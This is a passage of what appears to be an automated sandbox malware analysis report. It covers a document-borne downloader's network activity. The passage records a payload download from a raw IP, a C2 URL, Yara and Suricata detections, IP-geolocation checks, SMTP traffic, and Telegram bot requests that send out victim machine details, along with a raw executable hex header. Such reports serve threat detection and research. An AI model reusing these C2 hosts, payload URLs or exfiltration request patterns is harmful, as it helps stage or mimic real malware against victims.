          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 147.124.216.113:80 -> 192.168.2.5:49710
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: global trafficTCP traffic: 192.168.2.5:49710 -> 147.124.216.113:80
          Source: winword.exeMemory has grown: Private usage: 1MB later: 59MB

          Networking

          barindex
          Suricata IDS alerts for network traffic
          Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:50001 -> 149.154.167.220:443
          Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:49920 -> 149.154.167.220:443
          Source: Network trafficSuricata IDS: 1810007 - Severity 1 - Joe Security ANOMALY Telegram Send Message : 192.168.2.5:49986 -> 149.154.167.220:443
          C2 URLs / IPs found in malware configuration
          Source: Malware configuration extractorURLs: http://amazonenviro.com/245_Aiymwhpjxsg
          Uses the Telegram API (likely for C&C communication)
          Source: unknownDNS query: name: api.telegram.org
          Yara detected Generic Downloader
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f2a8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1d140000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.25f299de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10000.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2c9b0ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a03a8c6.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2d020000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3450918250.0000000028730000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000014.00000002.3450696077.000000002C9B0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000000C.00000002.3452644011.0000000028FC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
          Source: C:\Windows\SysWOW64\brightness.exeCode function: 8_2_0284E72C InternetCheckConnectionA,8_2_0284E72C
          Source: global trafficTCP traffic: 192.168.2.5:49989 -> 208.91.198.176:587
          Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKContent-Type: application/octet-streamLast-Modified: Tue, 07 Jan 2025 08:16:47 GMTAccept-Ranges: bytesETag: "65d1a17edc60db1:0"Server: Microsoft-IIS/8.5Date: Tue, 07 Jan 2025 12:25:00 GMTContent-Length: 1161216Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 d0 06 00 00 e4 0a 00 00 00 00 00 0c e8 06 00 00 10 00 00 00 f0 06 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 12 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 07 00 6e 26 00 00 00 20 08 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 07 00 e8 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 07 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 57 07 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c0 c4 06 00 00 10 00 00 00 c6 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 48 08 00 00 00 e0 06 00 00 0a 00 00 00 ca 06 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 40 1f 00 00 00 f0 06 00 00 20 00 00 00 d4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 ec 36 00 00 00 10 07 00 00 00 00 00 00 f4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 6e 26 00 00 00 50 07 00 00 28 00 00 00 f4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 34 00 00 00 00 80 07 00 00 00 00 00 00 1c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 90 07 00 00 02 00 00 00 1c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e8 7c 00 00 00 a0 07 00 00 7e 00 00 00 1e 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 00 1c 0a 00 00 20 08 00 00 1c 0a 00 00 9c 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 40 12 00 00 00 00 00 00 b8 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 0
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2023:15:16%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2021:58:11%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.org
          Source: global trafficHTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:405464%0D%0ADate%20and%20Time:%2007/01/2025%20/%2022:17:56%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20405464%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
          Source: Joe Sandbox ViewIP Address: 132.226.8.169 132.226.8.169
          Source: Joe Sandbox ViewIP Address: 208.91.198.176 208.91.198.176
          Source: Joe Sandbox ViewIP Address: 149.154.167.220 149.154.167.220
          Source: Joe Sandbox ViewASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS
          Source: Joe Sandbox ViewJA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
          Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
          Source: unknownDNS query: name: checkip.dyndns.org
          Source: unknownDNS query: name: reallyfreegeoip.org
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49831 -> 132.226.8.169:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49848 -> 132.226.8.169:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49807 -> 132.226.8.169:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49886 -> 132.226.8.169:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49904 -> 132.226.8.169:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49813 -> 132.226.8.169:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49733 -> 132.226.8.169:80
          Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49872 -> 132.226.8.169:80
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49802 -> 188.114.97.3:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49843 -> 188.114.97.3:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49896 -> 188.114.97.3:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49913 -> 188.114.97.3:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49914 -> 188.114.97.3:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49866 -> 188.114.97.3:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49996 -> 188.114.97.3:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49912 -> 188.114.97.3:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49968 -> 188.114.97.3:443
          Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49879 -> 188.114.97.3:443
          Source: global trafficTCP traffic: 192.168.2.5:49989 -> 208.91.198.176:587
          Source: global trafficHTTP traffic detected: GET /image.exe HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-chUser-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: 147.124.216.113
          Source: global trafficHTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: amazonenviro.com
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
